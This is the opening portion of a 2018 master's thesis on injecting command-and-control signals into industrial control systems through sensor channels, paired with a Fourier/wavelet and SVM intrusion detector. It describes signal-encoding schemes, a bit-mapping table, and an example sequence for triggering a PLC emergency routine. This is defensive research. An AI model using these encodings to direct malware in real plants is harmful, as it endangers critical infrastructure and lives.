INJECTING CONTROL COMMANDS THROUGH SENSORY CHANNEL: ATTACK AND DEFENSE

by

Farhad Rasapour

A thesis
submitted in partial fulfillment
of the requirements for the degree of
Master of Science in Computer Science
Boise State University

December 2018
DEFENSE COMMITTEE AND FINAL READING APPROVALS

of the thesis submitted by

Farhad Rasapour

Thesis Title: Injecting Control Commands through Sensory Channel: Attack and Defense

Date of Final Oral Examination: 30th July 2018

The following individuals read and discussed the thesis submitted by student Farhad Rasapour, and they evaluated the presentation and response to questions during the final oral examination. They found that the student passed the final oral examination.

Hoda Mehrpouyan, Ph.D.  Chair, Supervisory Committee
Edoardo Serra, Ph.D.  Member, Supervisory Committee
Dianxiang Xu, Ph.D.  Member, Supervisory Committee

The final reading approval of the thesis was granted by Hoda Mehrpouyan, Ph.D., Chair of the Supervisory Committee. The thesis was approved by the Graduate College.
ABSTRACT

Industrial Control System (ICS) is responsible for controlling and managing critical infrastructures like nuclear plants and power plants. ICS is equipped with various devices like communication media, Programmable Logic Controller (PLC), actuators, and sensors. Sensors are used to measure a physical phenomenon and send these measurements through the sensory channel to the control devices so they can make decisions on the movements of the actuators in the systems. While tampering with the sensor measurements has been the focus of many studies, there is some research that has concentrated on misusing a sensor and sensory channel as an axillary attack device to inject control command into the system.

Previous research experiments have demonstrated the feasibility of sensory channel misuse. This thesis has focused on the design and development of attack models and creating a practical detection system. In order to create the detection framework, two signal patterns, which can be used for injecting commands into the system, are created. The patterns use the time and energy between two consecutive rising and falling discrete signals to encode one-bit data. Further, an Intrusion Detection System (IDS) is developed to detect the malicious signals. The developed IDS utilizes the Fourier and Wavelet transformations to build features of examined signals.
# TABLE OF CONTENTS

ABSTRACT ......................................................... iv

LIST OF TABLES ................................................... viii

LIST OF FIGURES .................................................. x

LIST OF ABBREVIATIONS .......................................... xii

1 Introduction ...................................................... 1
   1.1 Thesis Statement ........................................... 2
   1.2 Outline ................................................... 4

2 Preliminary and Related Work ................................. 5
   2.1 ICS and APT attack ........................................ 5
   2.2 Sensory Channel Attack .................................... 8
   2.3 Fourier and Wavelet Transformations ..................... 11
   2.4 Support Vector Machine ................................. 14

3 Methodology ................................................... 17
   3.1 A Possible Attack Scenario in ICS ......................... 17
       3.1.1 Encoding Multiple Bit Per Falling and Rising Discrete-Signal 19
       3.1.2 Encoding One Bit Per Pulse .......................... 23
   3.2 Intrusion Detection System (IDS) Framework System ..... 26
3.2.1 Signal Sampling and Feature Extraction 

3.2.2 (Semi-)Supervised Classification Models and Hyper-Parameters estimation

4 Experiments

4.1 Test Bed Description

4.2 Possible Attack Scenario

4.3 Data Collection and IDS Experimental Settings

4.4 Result Analysis

4.4.1 Results for Supervised Classification Model

4.4.2 Performance of Supervised Classification Models in the Presence of Unknown or New Attacks

4.4.3 Performance of Semi-supervised Classification Model for the Novelty Detection Problem

4.4.4 Sensibility to the Variation of Windows Size and Windows Shifting

4.4.5 Time Performance

4.4.6 Final Discussion

5 Conclusion

REFERENCES

A Kobuki

A.1 Overview

A.2 Sharp IR Sensor
## USB IRtoy V2

- B.1 Overview
- B.2 Programming USB-IRtoy

## Velocio Ace 11 PLC

## Source Codes

- D.1 Generating Wavelet Feature Sets
- D.2 Generating Fourier Feature Sets
- D.3 Train and Test the SVM
- D.4 Sample Malware
### LIST OF TABLES

<table>
<thead>
<tr>
<th>Table</th>
<th>Title</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>Mapping the injected signal to bits.</td>
<td>22</td>
</tr>
<tr>
<td>4.1</td>
<td>Number of attack signal for each attack encoding schema.</td>
<td>40</td>
</tr>
<tr>
<td>4.2</td>
<td>Number of normal and attack examples for each windows length and</td>
<td>40</td>
</tr>
<tr>
<td></td>
<td>windows shifting.</td>
<td></td>
</tr>
<tr>
<td>4.3</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>47</td>
</tr>
<tr>
<td></td>
<td>and all attack schema without any transformation.</td>
<td></td>
</tr>
<tr>
<td>4.4</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>48</td>
</tr>
<tr>
<td></td>
<td>and all attack schema which are transformed by Fourier transforma-</td>
<td></td>
</tr>
<tr>
<td></td>
<td>tion.</td>
<td></td>
</tr>
<tr>
<td>4.5</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>49</td>
</tr>
<tr>
<td></td>
<td>and all attack schema which are transformed by different wavelets.</td>
<td></td>
</tr>
<tr>
<td>4.6</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>50</td>
</tr>
<tr>
<td></td>
<td>and all attack schema which are transformed by both wavelets and</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Fourier transformations.</td>
<td></td>
</tr>
<tr>
<td>4.7</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>51</td>
</tr>
<tr>
<td></td>
<td>and one attack schema without any transformation.</td>
<td></td>
</tr>
<tr>
<td>4.8</td>
<td>Detection result for two-class SVM trained with samples from normal</td>
<td>52</td>
</tr>
<tr>
<td></td>
<td>and one attack schema which are transformed by Fourier transforma-</td>
<td></td>
</tr>
<tr>
<td></td>
<td>tion.</td>
<td></td>
</tr>
</tbody>
</table>
4.9 Detection result for two-class SVM trained with samples from normal and one attack schema which are transformed by wavelet db2 transformation. ................................................................. 53

4.10 Detection result for two-class SVM trained with samples from normal and one attack schema which are transformed by both wavelet db2 and Fourier transformations. ............................. 54

4.11 Detection result for one-class SVM trained with normal signal samples whitout any transformation. ................................................................. 55

4.12 Detection result for one-class SVM trained with normal signal samples which are transformed by different Fourier transformation. ............... 55

4.13 Detection result for one-class SVM trained with normal signal samples which are transformed by different wavelets. ............................... 56

4.14 Detection result for one-class SVM trained with normal signal samples which are transformed by both wavelet and Fourier transformations. ... 57
LIST OF FIGURES

2.1 Training the SVM Model ........................................... 15

3.1 Misusing Sensory Channel as a Command-and-Control Path ........... 18
3.2 A pulse $P$ with the $L(P) = 7$ and $H(P) = 181.$ ................. 20
3.3 Encoding Multiple Bit Per Falling and Rising Discrete-signal ........ 22
3.4 a) Encoding 11010010 bit sequence with different pulse length ($L(P)$) with C=10. b) Encoding 11010010 bit sequence with different pulse height ($H(DS)$) with C=2500. .................................. 23
3.5 Intrusion Detection System .......................................... 26

4.1 Test-bed Setup. ....................................................... 36
4.2 Misusing IR Sensor to Inject C2 Signals .............................. 38
4.3 Normal Behaviour Recall for Two-Class SVM. ....................... 42
4.4 Attack Recall for Two-Class SVM ................................ 43
4.5 Normal Behaviour Recall for One-Class SVM. ..................... 43
4.6 Attack Recall for One-Class SVM ................................ 43

A.1 iclebo kobuki top view. ........................................... 67
A.2 iclebo kobuki bottom view......................................... 67

B.1 USB IR-toy (pic source:http://dangerousprototypes.com/docs/USB_IR_Toy_v2) ........................................... 70
LIST OF ABBREVIATIONS

**ABP** – Arterial Blood Pressure

**ADC** – Analog Digital Converter

**APT** – Advanced Persistent Threats

**BSN** – Body Sensor Network

**C2** – Command and Control

**CPS** – Cyber Physical Systems

**CFT** – Continuous Fourier Transformation

**CWT** – Continuous Wavelet Transformation

**DAQ** – Data Acquisition

**DCS** – Distributed Control Systems

**DFT** – Discrete Fourier Transformation

**DoS** – Denial of Service

**DWT** – Discrete Wavelet Transformation

**ECG** – Electrocardiogram

**EMI** – Electromagnetic Interference

**FDI** – False Data Injection

**FFT** – Fast Fourier Transformation
HMI – Human Machine Interfere
ICS – Industrial Control System
PLC – Programmable Logic Controller
RTU – Remote Terminal Unit
SCADA – Supervisory Control And Data Acquisition
SVM – Support Vector Machine
CHAPTER 1

INTRODUCTION

Industrial Control System (ICS) is a general term for different process control systems including Supervisory Control And Data Acquisition (SCADA), Distributed Control Systems (DCS), and Programmable Logic Controllers (PLC). Most critical infrastructures like transportation, nuclear plants, power plants, and water refineries are using the ICS for control, monitoring, and supervising purposes. ICS is a complex system containing various components such as physical actuators, sensors, Human Machine Interfaces (HMI), supervisory stations, PLCs, communication media, Remote Terminal Units (RTU), and so on. Controlling a critical infrastructure and being a complex system makes the ICS a high-value target and hard to defend. One well-planned attack can cause a financial, environmental, or political disaster; even costing lives.

Based on a survey conducted in 21 countries in 2017, half of the industrial organizations reported at least one incident [23]. More than one-third of the reported incidents were Advanced Persistent Threats (APT). APT is a sophisticated and multi-vector attack which tries to gain a foothold inside the system by implanting a Malware or virus.

The APT objectives can be varied from stealing information to taking control of the process [19], resulting in loss of lives, financial, environmental, and political
disasters. In the advance part of the attack, the implanted Malware utilizes a command-and-control path to send/receive control commands. Research on APT and detecting command-and-control channels in ICS mostly focus on the misuse of general Information Technology (IT) [21, 31]. However, ICS contain devices, i.e. sensors and actuators that do not follow the same characteristics as IT components do and require a different kind of security and forensic analysis.

It is presented in our previous work [1] that it is possible to utilize sensors as an endpoint to inject control commands into an ICS and guide an implanted Malware for a more accurate attack. The combination of Malware and a sensor as the control-and-command path provides the attacker with the opportunity to attack any part of the system at any time. In this paper, attacks on the sensors are further studied and the possibility of creating changes in the sensor’s output signal is examined to generate the desired patterns that can be interpreted by the Malware as a control command that then can be injected into the control system.

In addition, a detection framework is proposed to protect the system from these types of cyber-attack. Further, as a proof of concept, we utilize a test-bed, consisting of a mobile research robot and a PLC that are connected to a laptop with an HMI software, to conduct experiments on the designed attack models and the proposed defense mechanisms.

1.1 Thesis Statement

In this thesis work, we studied the sensory channel in the ICS environment, and how the sensory channel can be misused as a command and control path for coordinating Advanced Persistent Threat (APT) in the ICS environment. Further, we modeled
signal patterns which can be misused by an attacker for injecting Command and Control (C2) messages into an ICS. Furthermore, we developed a Intrusion Detection System (IDS) for detecting the misused signals containing C2 messages.

To build the misused signal models and the IDS we address the following important research questions:

**Q.** Is it possible to misuse the sensory channel as a command and control path for coordinating an advanced persistent attack (APT) in the ICS? What characteristics of the sensory channel can be misused for injecting command and control messages into the ICS?

We found out that ICS supervisory devices are reading the continuous sequence of data samples which shows the energy of the sensor signal at the time. An adversary can read the sensors output data samples by implanting a malware on the supervisory device and monitor the sensory channel. Then the adversary can transmit data to the malware by modifying the signal energies and creating patterns in the sensory channel. In the sensory channel, the sequence of signal sample values for a discrete-time signal can be considered as a time vector and changes in the sample values as a point in time. Therefore, the adversary can encode data into the sensory channel by creating patterns which use the time or sample values between the changes as the encoding parameters. We used the sequence of signal sample values, changes in the sequence, the distance between changes, and the maximum sample value between changes to model the injection patterns.

**Q.** What security tools can detect the injected C2 message over the sensory channel?

We found out that classification and novelty modeling algorithms can detect unwanted changes in the sensory channel. Therefore, we developed an IDS which
monitors the sensory channel for signal patterns corresponded to possible commands, controls, and critical values in the ICS for classification models. Further, we used the novelty model to detect a new or unknown attack such as Zero-Day [38]. The proposed IDS uses Fourier and wavelet transform coefficients to create features of signals. Then the IDS uses these features to distinguish misused signals from the normal sensor signals.

1.2 Outline

The paper is organized as follows:

Chapter 2 discusses the related works and provides preliminary information about the APT attack in ICS and the sensory channel security.

Chapter 3 discusses the misuse of the sensory channel and using changes in the signal magnitude for encoding data. Then it provides details of different modules of our proposed intrusion detection system.

Chapter 4 describes the test-bed that we built to emulate the APT attack. Then it provides details about our experiments including attack experiments on a PLC, the IDS accuracy rate, and the IDS time performance.

Chapter 5 summarizes this paperwork with a conclusion statement and possible direction for future studies.
CHAPTER 2

PRELIMINARY AND RELATED WORK

2.1 ICS and APT attack

In recent years, the ICS systems around the world experienced sophisticated, multi-step attacks along malicious code like Stuxnet, Flame, and Triton. These well-organized attacks demonstrate the needs for robust security measures. For example, the Stuxnet attack on an isolated nuclear plant showed securing or even disconnecting regular network connection will not make the system isolated completely. A momentary connection (m-connected) of a USB device is enough to breach the system [21]. SJ Kim et al. provide the list of requirements for detecting an APT attack in m-connected ICS including intrusion detection systems (IDSs), risk measurement, and security policies against APT. IDSs should monitor all internal and external access points to detect any subspecies communication to inside or outside devices. SJ Kim et al. suggest of using pattern machine algorithm to look for known attacks. And they also suggest risk evaluation via virtual execution in order to be prepared for unknown intrusions and viruses. They also recommend comprehensive monitoring, analyzing, and inspecting of uploaded files, log files, and updating device data [21].

In another work, Skopik et al. propose an anomaly detection model to detect APT in smart grid ICT network. Their model uses system logs to learn the normal system behavior and then detects an anomaly in the correlation between events which can be
caused by an APT attack. The model assumes that ICT components log the events, state changes, and committed actions and therefore there is enough data to create a comprehensive model. Their model has the ability to use active data log to update itself periodically [32].

Both [32] and [21] detection systems have relied on logging data which can be available after the attack. Designing a comprehensive APT detection that can detect the attack earlier requires complete understating of the APT attacks dynamic. The author of [20] provides a model for sophisticated and multi-step attacks against ICS called “The Industrial Control System Cyber Kill Chain.” Based on [20], a proper attack that infiltrated an ICS and caused sufficient damage requires two stages, and each stage includes several steps which are briefly described as follows:

Stage1, “cyber intrusion preparation and execution” [20]:

1. Gathering information about the target and planning the attack. Finding personal or technical weaknesses, identifying the target devices and looking for delivery opportunities. This information can be found by using tools like Google, Shodan web-service, or public social media.

2. Preparing for the attack by prioritizing potential targets, identifying victims, and weaponizing the attack materials such as hiding a virus in a simple JPG file.

3. Make a cyber intrusion by delivering the weaponized file and gain a foothold in the system by installing the malware.

4. Establishing a command and control (C2) channel for managing or enabling the implanted malware. The C2 channel can be a new connection created by the
malware or by exploiting a trusted communication channel. The C2 channel does not need to be a two-way or high-speed connection, but it must have enough bandwidth to serve the attack purpose. Depending on the attacker’s final goal, the channel may be required to get information out of the system or be used to send commands into the system. The command can be an activation code or instruction for coordinating the attack like a system command.

5. In this step, the adversary uses the planted malware and C2 channel to sustain and develop its foothold inside the system.

Stage2: “ICS attack development and execution” [20]:

1. The adversary develops and tunes the attack for reaching his or her final goal.

2. Test the attack on a similar platform preferably the same physical system to validate the possibility of a successful attack.

3. Using the created attack platform to execute the final attack.

Besides step one and two of the first stage which are the attack preparation, the earliest steps that the attack can be detected are steps three and four of stage one. The primary approach for detecting the APT attack in early steps is monitoring and analyzing the network’s traffic. The authors of [33] proposed a framework which analyzes the network traffic to detect APT attacks in distributed environments. To identify possible APT attacks, their framework uses four different recognition methods including genetic programming, classification and regression trees, support vector machine, and dynamic Bayesian game model to analyze the network traffic. All recognition methods report their findings to a final module called voting. Then based
on the correlation between the recognition methods, the voting module decides if there is an attack. A similar approach is used by [34]. Marchetti et al. propose a detection framework which ranks the possible infected hosts by analyzing the network traffic. They collect and store the network traffic and then extract features that describe the traffic changes at different times. Then the framework computes the suspicious score in network traffic by normalizing the feature values and using parameters like distance from the center, “magnitude of the movement”, and “unlikeness of movement direction” [34].

Works like [33, 34] propose security measures for regular network channels. What is lacking in these works is considering the misuse of data channels which were not designed for transmitting different types of data like sensory channels.

The next section provides security research on attacks against sensory channels.

2.2 Sensory Channel Attack

In general, sensory channel security research can be categorized into three groups:

1. Detecting attacks which are trying to disable the sensory channel communication like Denial of Service (DoS) attack [4]. Also, assessing the system tolerance and integrity against sensor failure caused by an attack.

2. Detecting and protecting against false data injection attacks [2, 5, 10, 11, 12, 13, 14, 15, 16, 17, 18]. False Data Injection (FDI) attacks goal is to feed the wrong data into the sensory channel to compromise the sensor readings to destabilize components or processes which rely on the sensor data. Studies use two approaches for detecting or preventing FDI attacks. The first group tries to discover the attack by finding a relation between data which is produced by dif-
ferent sensors. The relationship can be caused by sensors that are measuring the same physical phenomena or the data consistency caused by sensor’s behavior. For example, Minus Jo et al. [10] demonstrates an attack detection model by constructing a lookup table based on the weak and strong inconsistency between sensors. In this scenario, the attack is detected if sensor readings violate the relation between sensors by not following the expected inconsistency between sensors. And in [2], the authors proposed a system model to detect a sensory channel attack in Body Sensor Network (BSN) by comparing the arterial blood pressure (ABP) and electrocardiogram (ECG). The second group uses data encoding techniques like watermarking to detect false data injection. “Digital watermarking is a technique of embedding digital data inside the information, where watermark carries unique information about the owner of the document” [17]. Sulabh Bhattarai et al. use the watermarking technique in smart grid systems by employing pseudo noises to watermark the data which is gathered by meters before the data is sent to a utility. Then at the utility center, they validate the integrity of the received data to detect the false injection. The watermarking technique is also used by other researchers to test the integrity and freshness of the sensor outputs [37]. Y Mo et al. proposed a model which add noises to the sensor output and changes the number of noises periodically. In this way, if the attacker tries to replay an old recorded signal, the security system would detect the attack by detecting the inconsistency in the applied noises.

3. Detecting the misuse of the sensory channel for a purpose different than what they are designed to do [1, 3]. In sensory channel misuse, the attacker exploits
a sensor or the sensory channel as an auxiliary device to inject data into the system. An attacker can gain control over the system by using Electromagnetic Interference (EMI) to inject data into analog sensors [3]. Kune et al. showed that an attacker could inject a signal into the sensory channel by using electromagnetic signals and causing voltage differences in the analog sensor outputs. Further, Kune et al. proposed two sets of defense mechanisms: analog and digital. The analog defense includes shielding, differential comparator, and filtering mechanisms. And the mechanisms for digital defense includes “signal contamination”, “adaptive filtering”, “cardiac prob”, and “reverting to a safe default”. But using EMI is not the only way to inject data through the sensory channel. As is shown by Uluagac et al., the sensor readings can be modified by manipulating the phenomena that are measured by the sensor. The authors of [1] showed an already implanted malware could be activated by sending an activation code through a sensory channel. Uluagac et al. also showed that sensory channels have enough bandwidth to transmit malware into a system. The commonly used light, seismic, acoustic, and infrared sensors bandwidth are a number between 2 to 100 bps. Based on the Uluagac et al. calculation a 1K malware could be transmitted in less than 82s over a light sensor channel, or even faster by using combinations of different sensor channels. Further, Uluagac et al. proposed an IDS architecture for detecting sensor misuses. Their proposed IDS composed of contextual, pattern, anomaly, and activity analyzing modules.

In summary, the first two groups do not have the ability to detect C2 signals or to tell if the injected signal is a C2 message or if it is false data sent to deceive the control logic. For the third group, the Kune et al. work is only focused on Electromagnetic Interference. And the IDS which is proposed by Uluagac et al. is a
high-level architecture which does not provide implementation or technical details.

To address the lack of security measures for detecting the misuse of the sensory channel as command and control channel, this study will propose an IDS that uses the Fourier and wavelet transformations for extracting features from the signal and then Support Vector Machine (SVM) to distinguish the misuse signal from the system normal signals. The next two sections give a brief mathematical description of the Fourier and wavelet transformations and support vector machine algorithm.

### 2.3 Fourier and Wavelet Transformations

This section provides a brief description of Fourier and wavelet transformations. Interested readers would refer to [28, 26, 27, 25] for detailed description of Fourier and wavelet transformations theories.

The Fourier transforms a signal as a function of time into a function of frequencies. In other words, while the original signal function shows the signal amplitude in the time domain, the transformed Fourier function shows the energy changes in the frequency domain:

\[ F(\xi) = \int_{-\infty}^{\infty} f(t) e^{-2\pi i t \xi} dt \]  \hspace{1cm} (2.1)

where \( f(t) \) is the original signal and \( \xi \) is transform variable which represent the frequency and \( e^{-2\pi i \xi} \) is the complex exponential. The above representation of Fourier transform which is called Continuous Fourier Transformation (CFT) assumes the signal consists of continuous values and is extended to infinity. Since the misuse signal is represented in the form of finite discrete samples, the practical applications use the version of Fourier transformation called Discrete Fourier Transformation (DFT). The
DFT converts finite number of signal samples \( \langle s_0...s_{N-1} \rangle \) into the same number of complex values of the frequency \( FD = \langle F_0...F_{N-1} \rangle \) with the same space between the samples:

\[
F_k = \sum_{n=0}^{N-1} s_n e^{-\frac{2\pi i}{N} kn} \quad (2.2)
\]

where \( s_n \) is a signal sample, \( N \) is the number of samples. The \( F_k \) is a complex number in which the absolute value of the real part represents the frequency, and the imaginary part represents the phase of the sinusoidal component \( e^{-\frac{2\pi i}{N} kn} \).

In other words, the Fourier transformation provides a complete view of the frequencies that are presented in the original signal. The problem with Fourier transformation is that it does not show when the frequency is present in the signal. The wavelet transformation provides a representation of a signal with time and frequency localization.

A wavelet is a function \( \psi \in L^2(R) \) which is centered around zero.

\[
\int_{-\infty}^{\infty} \psi(t)dt = 0 \quad (2.3)
\]

The Continuous Wavelet Transformation (CWT) divides a continuous time signal function \( x(t) \) into wavelets.

\[
CW_\psi x(s, u) = \frac{1}{\sqrt{|s|}} \int_{-\infty}^{\infty} x(t) \psi^* \left( \frac{t-u}{s} \right) dt \quad (2.4)
\]

Where \( \psi(t) \) is a wavelet function which is called Mother Wavelet, \( s > 0 \) is scaling parameter which controls the wavelet length and \( u \) is the translation parameters which define the wavelet shifting, and the \( * \) represents complex conjunction operation.
The CWT continuously scaling and translating the time function creates redundant coefficients. To avoid the redundancy, we will use the discrete version of wavelet transformation which does the scaling and translation in discrete steps. The Discrete Wavelet Transformation (DWT) using discrete values of \( s \) and \( u \) [25].

\[
\psi_{j,k}(t) = \frac{1}{\sqrt{s_0^j}} \psi \left( \frac{t - ku_0s_0^j}{s_0^j} \right)
\]  

(2.5)

Where \( j \) and \( k \) are integer values, represent frequency and time localization respectively. In general, to have frequency and time axis correspond to dyadic sampling, the \( u_0 \) would be considered equal to one and \( S_0 = 2 \). The dyadic wavelet transformation provides the basis for scaling \( \varphi() \) and wavelet \( \psi() \) functions which decompose a signal to signal approximation and details in multi-levels. This process is called multi-resolution formulation [26, 27].

\[
\varphi(2^j t) = \sum_k h_{j+1}(k) \varphi(2^{j+1} t - k)
\]  

(2.6)

\[
\psi(2^j t) = \sum_k g_{j+1}(k) \varphi(2^{j+1} t - k)
\]  

(2.7)

Where \( j \) is the scale, \( h(\cdot) \) is the low-pass filter and \( g(\cdot) \) is the high-pass filter. The filters coefficients discussion is beyond the scope of this paper, for more discussion see [25]. By passing the signal through these filters, the approximations will represent the low-frequency components and details will represent the high-frequency components of the signal. The filter functions cut the signal samples by half, and there the coefficients spectrum has halved the time resolution of the original signal. The decomposition process can be done in multi-levels by passing the approximate coefficients through the high-pass and the low-pass filter. The approximation and detail coefficients for
each decomposition level can be calculated by:

\[ \lambda_j = \sum_m h(2k - m)\lambda_{j-1}(m) \]  
(2.8)

\[ \gamma_j = \sum_m g(2k - m)\gamma_{j-1}(m) \]  
(2.9)

Where \( \lambda \) and \( \gamma \) are the approximate and detail coefficient respectively, \( j \) denotes the decomposition level, and \( k \) is the coefficient index. The \( \lambda \) and \( \gamma \) for the first level are the same as the original signal samples.

The coefficients from Fourier and wavelet transformation provide different features of a signal that can be used to create fingerprints for signals. In the next section, we discuss the Support Vector Machine (SVM) which can learn the signal fingerprints and then be used for identifying the desired signals.

### 2.4 Support Vector Machine

This section provides a brief description of the Support Vector Machine (SVM) functionality and the SVM training procedure. The interested reader refers to [30] for the further readings. The SVM is a supervised classification modeling algorithm and prediction tool that can be used for data classification modeling [29]. A supervised classification algorithm builds a model for a process based on the data samples consisting of features which describe the different classes of the system behaviors and states. Then the built model can be used to predict the suitable class for new data samples.

The SVM uses a dataset consisting of data samples from different system behavior classes for training the model [Figure 2.1 (1)]. The training dataset with \( N \) samples
would have the form of following:

$$(\vec{T}_1, y_1), \ldots, (\vec{T}_N, y_N)$$  \hspace{1cm} (2.10)

where $\vec{T}_1$ to $\vec{T}_N$ are data samples consisting of features which describe the sample and $y_1$ to $y_N$ are labels that indicate the sample belongs to which class. The SVM considers the sample data with $m$ features as points in a $m$ dimensions space. Then by analyzing the gap between the points, the SVM finds hyperplanes which separate the points based on their labels. The SVM supports a big range of configuration attributes which makes it highly adaptable to different datasets. The SVM supports linear and several non-linear algorithms (also known as a kernel) to find the classification hyperplanes. Also, each kernel can support its configuration parameters.

Part of the training phase is finding the model parameters that produce the best classification accuracy [Figure 2.1 (2)]. F1-score is a classification accuracy measurement value which provides an average from different accuracy measurement parameters including true positive, false positive and false negative. The f1-score is the harmonic mean of precision and recall values as is shown below.

$$f_{1\_score} = 2.(P.R)/(P + R)$$
Where R is recall and P is precision are defined as:

\[
P = \frac{True \ positive}{(True \ positive + False \ positive)}
\]

\[
R = \frac{True \ positive}{(True \ positive + False \ negative)}
\]

Using f1-score for evaluating the SVM model helps to find the best SVM model parameters that address true positive, false negative, and false positive at the same time. Therefore, the f1-score can be used to determine the optimal parameters that build the SVM model with the best classification accuracy [Figure 2.1].

The SVM capability of classifying data samples can be used by intrusion detection systems as a matching algorithm to distinguish the attack from normal signal. We will discuss the use of SVM for detecting C2 messages over the sensory channel in section 3.2 in more details.

The next chapter describes misusing the sensory channel attack and our proposed defense system.
CHAPTER 3

METHODOLOGY

3.1 A Possible Attack Scenario in ICS

This chapter describes the proposed attack model in an Industrial Control Systems (ICS) as depicted in Figure 3.1. The model consists of the following components:

- A supervisory control workstation which monitors the whole system and has high-level control over the system.

- Human-machine interfaces (HMI) which are field supervisory devices. HMIs monitor the process states and have the privilege of modifying or interrupting the process.

- PLC/RTUs are process control devices equipped with process logic control. PLC/RTUs are responsible for process automation.

- Actuators which are mechanical devices that are responsible for controlling the processing system.

- Sensors which provides data regarding the state of the physical process.

- Malware which is infected the HMI and the sensory channel has the ability to read the sensor signals.
In order to design our attack model we have been able to utilize the sensory channel as an end point and design a Malware that is able to formally define the encoding/decoding of a bit of control command into the sensor’s signal. Further, a second Malware is designed to decode the injected control command into the control logic of the PLC. In this case, the assumption is that the attacker is able to conduct reconnaissance techniques and utilize the discovery tools to learn the critical control commands that are appropriate for the system under attack. Based on the collected information and the existing control-and-command path the Malware is able to encode control commands as a sequence of bits (1 or 0) utilizing the sensors.

In order to formally define the encoding/decoding a bit into the signal, we looked at the concept of a Discrete-Signal (DS). A DS is defined as a finite sequence of \( m \) consecutive sample signal values \( V_s \) with the height of \( H(DS) \) and length of \( L(DS) \)
as follows:

\[ DS = (V_1, \ldots, V_m) \]  

(3.1)

\[ L(DS) = |DS| = m \]  

(3.2)

\[ H(DS) = \text{Max}(V_1, \ldots, V_m) \]  

(3.3)

where \( H(DS) \) is the sample with the highest value and \( L(DS) \) is the length of the \( DS \) samples list. A \( DS \) is called a rising discrete-signal \( DS_r \) if:

\[ \forall V_s, V_{s+1} \in DS_r: V_s - V_{s+1} < -\alpha \]  

(3.4)

where \( V_s \) and \( V_{s+1} \) are two consecutive sample values in the sample list and \( \alpha \) is a threshold removing the signal noises. On the other hand, a \( DS \) is recognized as a falling discrete-signal \( DS_f \) if:

\[ \forall V_s, V_{s+1} \in DS_f: V_s - V_{s+1} > \alpha \]  

(3.5)

The algorithms 1 and 2 show the pseudo codes to capture \( DS_r, DS_f \), and calculating the discrete-signal height \( DS_H \) and length \( DS_L \):

The next two subsections describe how the sampling and discrete-signal concepts can be used for encoding data into the sensory channel.

### 3.1.1 Encoding Multiple Bit Per Falling and Rising Discrete-Signal

As we have shown in our previous work as a case study [24], multiple bits can be encoded into sensory channel per one falling or rising discrete-signal by mapping the
Figure 3.2: A pulse \( P \) with the \( L(P) = 7 \) and \( H(P) = 181 \).

**Algorithm 1**

Finding rising discrete-signal height \( DS_H \) and length \( DS_L \).

```
if \( V_s - V_{s-1} > \alpha \) then
  \( i \leftarrow 1 \)
  \( DS_L \leftarrow 1 \)
  \( DS_H \leftarrow V_s \)
  while \( V_{s+i} - V_{s+i-1} \geq \alpha \) do
    if \( V_{s+i} > T_H \) then
      \( DS_H \leftarrow V_{s+i} \)
    end if
    \( i \leftarrow i + 1 \)
  end while
  \( DS_L \leftarrow i \)
end if
```
**Algorithm 2**
Finding falling discrete-signal height $DS_H$ and length $DS_L$.

```plaintext
if $V_{s-1} - V_s > \alpha$ then
    $i \leftarrow 1$
    $DS_L \leftarrow 1$
    $DS_H \leftarrow V_{s-1} - V_s$
    while $V_{s+i-1} - V_{s+i} \geq \alpha$ do
        if $V_{s+i} > T_H$ then
            $DS_H \leftarrow V_{s+i}$
        end if
        $i \leftarrow i + 1$
    end while
    $DS_L \leftarrow i$
end if
```

number of sensor data samples after one discrete-signal into a specific bit sequence. After studying the target sensor, an attacker can create a mapping table that maps the number of signal samples after a rising or falling discrete-signal into a specific bits sequence. For example, after studying the behavior of an IR deep sensor on a Kobuki robot [7] and how it can be manipulated, we came up with the mapping relation that is shown in the table 3.1 [24]. Then we manipulate the IR sensor to generate a signal that is shown in figure 3.3 to transmit the bit-sequence 0000111100000001 over the sensory channel. The first eight bits are the address of a PLC emergency port and the second eight bits are the value that can activate the emergency procedure.

As it shows, the encoding “multiple-bit per falling and rising discrete-signal” depends on the mapping table that can be changed by the attacker. And it would be difficult to model it and study a defense mechanism against it. Therefore, in this paper, we study a simple version of the sensory channel misuse which we called “encoding one bit per pulse” that depends on only one number, length or height of a pulse, for mapping purpose.
<table>
<thead>
<tr>
<th>Number of samples</th>
<th>After a Rising Transition</th>
<th>After a Falling Transition</th>
</tr>
</thead>
<tbody>
<tr>
<td>4-9</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>10-15</td>
<td>00</td>
<td>11</td>
</tr>
<tr>
<td>16-22</td>
<td>000</td>
<td>111</td>
</tr>
<tr>
<td>23-29</td>
<td>0000</td>
<td>1111</td>
</tr>
<tr>
<td>30-35</td>
<td>00000</td>
<td>11111</td>
</tr>
<tr>
<td>36-41</td>
<td>000000</td>
<td>111111</td>
</tr>
<tr>
<td>42-49</td>
<td>0000000</td>
<td>1111111</td>
</tr>
<tr>
<td>50-60</td>
<td>00000000</td>
<td>11111111</td>
</tr>
</tbody>
</table>

Table 3.1: Mapping the injected signal to bits.

Figure 3.3: Encoding Multiple Bit Per Falling and Rising Discrete-signal
3.1.2 Encoding One Bit Per Pulse

As we have shown in our previous work [24], there are several ways an attacker can encode data into the sensory channel by leveraging signal sample sequence as a time vector and falling or rising discrete-signal as points in time vector. In this section, we study four encoding schemas which use the time (number of samples) or the maximum sample value between the two consecutive rising and falling discrete-signals as the encoding parameters to encode one-bit data. For convenience, we call the changes that start with a rising discrete-signal and end with a falling discrete-signal: one pulse.

Therefore, we have define a pulse $P$ as depicted in Figure 3.2 as a $DS$ that is
obtained by the concatenation of: (i) a rising discrete-signal $DS_r$, (ii) a sequence of samples $S_b$ not containing any rising or falling discrete-signal, and (iii) a falling discrete-signal $DS_f$. Therefore, a pulse is defined as follows:

$$P = DS_r \cdot S_b \cdot DS_f$$

(3.6)

where $\cdot$ is the concatenation operator.

In order to associate a pulse to a bit, i.e the encoding schema, we need to distinguish two phases:

1. **Encoded phase**: the attacker encodes the command into the signal on the sensory channel.

2. **Decoded phase**: the implanted Malware decodes the command from the signal on the sensory channel.

